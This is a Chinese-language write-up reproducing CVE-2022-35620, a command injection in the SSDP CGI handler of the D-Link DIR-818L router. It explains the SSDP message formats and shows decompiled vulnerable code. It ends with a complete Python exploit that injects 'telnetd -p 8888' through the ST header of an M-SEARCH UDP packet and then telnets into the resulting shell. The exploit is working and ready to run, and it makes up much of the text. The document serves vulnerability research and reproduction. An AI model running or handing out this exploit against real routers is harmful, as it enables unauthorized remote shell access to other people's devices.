# CVE-2022-35620 复现
笔者之前其实是有尝试去复现这个漏洞,但是当时碍于模拟的设备环境不够理想,最终失败了
- 复现环境 ——ubuntu14
- 模拟软件 ——firmadyne
- 漏洞设备 ——D-link DIR818L_FW105b01 A1
- 固件下载地址: https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-818LW
# 环境模拟
firmadyne 梭哈
# 漏洞分析
简单的了解下 upnp 以及 ssdh 协议
# upnp 协议
# ssdp 协议 (Simple Service Discovery Protocol)
简单服务发现协议
是 upnp 下,一个快捷搜索发现设备的协议,用于 搜索发现局域网中的设备何服务
SSDP 消息分为设备查询消息、设备通知消息两种,通常情况下,使用更多地是设备查询消息。
# 设备查询消息格式例子如下:
M-SEARCH * HTTP/1.1 | |
HOST: 239.255.255.250:1900 | |
MAN: "ssdp:discover" | |
MX: 5 | |
ST: ssdp:all |
第一行 消息头,固定;
第二行 HOST 对应的是广播地址和端口,239.255.255.250 是默认 SSDP 广播 ip 地址,通常设置为路由器 IP,1900 是默认的 SSDP 端口;
第三行 MAN 后面的 ssdp:discover 为固定
第四行 MX 为最长等待时间,猜测超时后不在等待
第五行 ST:查询目标,它的值可以是:
upnp:rootdevice 仅搜索网络中的根设备
uuid:device-UUID 查询 UUID 标识的设备
urn:schemas-upnp-org:device:device-Type:version 查询 device-Type 字段指定的设备类型,设备类型和版本由 UPNP 组织定义。(多为自定义设备)
ssdp:all // 广播所有的设备
# 设备通知消息格式
NOTIFY * HTTP/1.1 | |
HOST: 239.255.255.250:1900 | |
CACHE-CONTROL: max-age = seconds until advertisement expires | |
LOCATION: URL for UPnP description for root device | |
NT: search target | |
NTS: ssdp:alive | |
USN: advertisement UUID |
无 MX 等待限制,增加:
NT 在此消息中,NT 头必须为服务的服务类型。
NTS 表示通知消息的子类型,必须为 ssdp:alive 或者 ssdp:byebye
USN 表示不同服务的统一服务名,它提供了一种标识出相同类型服务的能力
# 漏洞点
int __fastcall ssdpcgi_main(int a1) | |
{ | |
int result; // $v0 | |
char *ST; // $s0 | |
char *IP; // $s3 | |
char *ID; // $v0 | |
char *PORT; // $s2 | |
const char *v6; // $s1 | |
bool v7; // dc | |
char *v8; // $a2 | |
const char *v9; // $a0 | |
char *v10; // $a2 | |
const char *v11; // $a0 | |
result = -1; | |
if ( a1 == 2 ) | |
{ | |
ST = getenv("HTTP_ST"); | |
IP = getenv("REMOTE_ADDR"); | |
PORT = getenv("REMOTE_PORT"); | |
ID = getenv("SERVER_ID"); | |
v6 = ID; | |
if ( ST && IP && PORT ) | |
{ | |
v7 = ID == 0; | |
result = -1; | |
if ( !v7 ) //server_id 不为空 | |
{ | |
v7 = strchr(ST, '`') != 0; | |
result = -1; | |
if ( !v7 ) | |
{ | |
v7 = strchr(IP, '`') != 0; | |
result = -1; | |
if ( !v7 ) | |
{ | |
v7 = strchr(PORT, '`') != 0; | |
result = -1; | |
if ( !v7 ) | |
{ | |
v7 = strchr(v6, '`') != 0; | |
result = -1; | |
if ( !v7 ) | |
{ | |
if ( !strncmp(ST, "ssdp:all", 8u) ) | |
{ | |
v8 = IP; | |
v9 = "%s ssdpall %s:%s %s &"; | |
LABEL_14: | |
lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, PORT, v6); | |
return 0; | |
} | |
if ( !strncmp(ST, "upnp:rootdevice", 0xFu) ) | |
{ | |
v8 = IP; | |
v9 = "%s rootdevice %s:%s %s &"; | |
goto LABEL_14; | |
} | |
if ( !strncmp(ST, "uuid:", 5u) ) | |
{ | |
v10 = IP; | |
v11 = "%s uuid %s:%s %s %s &"; | |
LABEL_22: | |
lxmldbc_system(v11, "/etc/scripts/upnp/M-SEARCH.sh", v10, PORT, v6, ST);// 漏洞点 | |
return 0; | |
} | |
v7 = strncmp(ST, "urn:", 4u) != 0; | |
result = 0; | |
if ( v7 ) | |
return result; | |
if ( strstr(ST, ":device:") ) | |
{ | |
v10 = IP; | |
v11 = "%s devices %s:%s %s %s &"; | |
goto LABEL_22; // 这里跳到漏洞点 | |
} | |
if ( strstr(ST, ":service:") ) | |
{ | |
v10 = IP; | |
v11 = "%s services %s:%s %s %s &"; | |
goto LABEL_22; | |
} | |
result = 0; | |
} | |
} | |
} | |
} | |
} | |
} | |
else | |
{ | |
result = -1; | |
} | |
} | |
return result; | |
} |
漏洞函数这里有命令拼接注入,va 是所有参数的列表,上述在 ssdpcgi_main 函数中,有一个地方传入了 ST,ST 可以进行拼接,
int lxmldbc_system(const char *a1, ...) | |
{ | |
char v2[1028]; // [sp+1Ch] [-404h] BYREF | |
va_list va; // [sp+42Ch] [+Ch] BYREF | |
va_start(va, a1); | |
vsnprintf(v2, 0x400u, a1, va); | |
return system(v2); | |
} |
综合考虑上面的漏洞点,我们需要伪造的 header 有如下要求
- ST,IP,PORT,ID 不为空
- ST,IP,PORT,ID 不包含 '`'
- ST 为 "urn:device: ;cmd"
以上我们大致可以了解到,漏洞发生在 ssdp 的服务上,我们需要的就是去向该服务传递一些参数,结合 SSDP 的报文格式,得到对应的数据报文
"""
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: urn:device: ;cmd
"""
# 数据传输
新的问题来了,我们如何将参数传给 ssdp 服务呢?——socket
首先我们上述构造的数据报文是 UDP 协议报文,所以,我们需要使用 UDP 传递参数 ,
如下函数,可以向指定的(IP,port)发送 payload 数据(UDP 格式报文)
import socket | |
def send_conexion(ip, port, payload): | |
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)#ipv4 地址域,udp 数据报套接字,udp 协议,创建套接字 | |
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)#IPv4 套接口,设置多播组数据的 TTL 值为 2 | |
sock.sendto(payload,(ip, port))#发送 udp 数据报 | |
sock.close() |
当我们可以任意命令执行后,如何 getshell 进行交互呢?——talent
telnet 服务允许远程登陆,默认端口为 23,使用一下命令可以修改为指定端口
telnetd -p 8888 |
我们任意命令执行后 ,打开 telnet 服务,主机远程 telnet 连接上去
但是有个奇奇怪怪的问题,我在打 exp 的时候,直接 telnet ip 登陆 23 端口 ,会让我 login
不断地多次尝试有机会直接 getshell,但是,非常不稳定,而我指定了一个端口后就会稳定下来
# 完整 exp
import sys | |
import os | |
import socket | |
from time import sleep | |
def config_payload(ip, port): | |
header = "M-SEARCH * HTTP/1.1\n" | |
header += "HOST:"+str(ip)+":"+str(port)+"\n" | |
header += "ST:urn:device:;telnetd -p 8888\n" | |
header += "MX:2\n" | |
header += 'MAN:"ssdp:discover"'+"\n\n" | |
return header | |
def send_conexion(ip, port, payload): | |
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP) | |
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2) | |
sock.sendto(payload,(ip, port)) | |
sock.close() | |
if __name__== "__main__": | |
#ip = raw_input("Router IP: ") | |
ip = "192.168.0.1" | |
port = 1900 | |
headers = config_payload(ip, port) | |
print headers | |
send_conexion(ip, port, headers) | |
sleep(2) | |
os.system('telnet ' + str(ip) +" 8888") |
以上就是本次复现的全部,其实这个设备还有另外一个漏洞点,但是笔者在尝试的时候,并没有成功,比较遗憾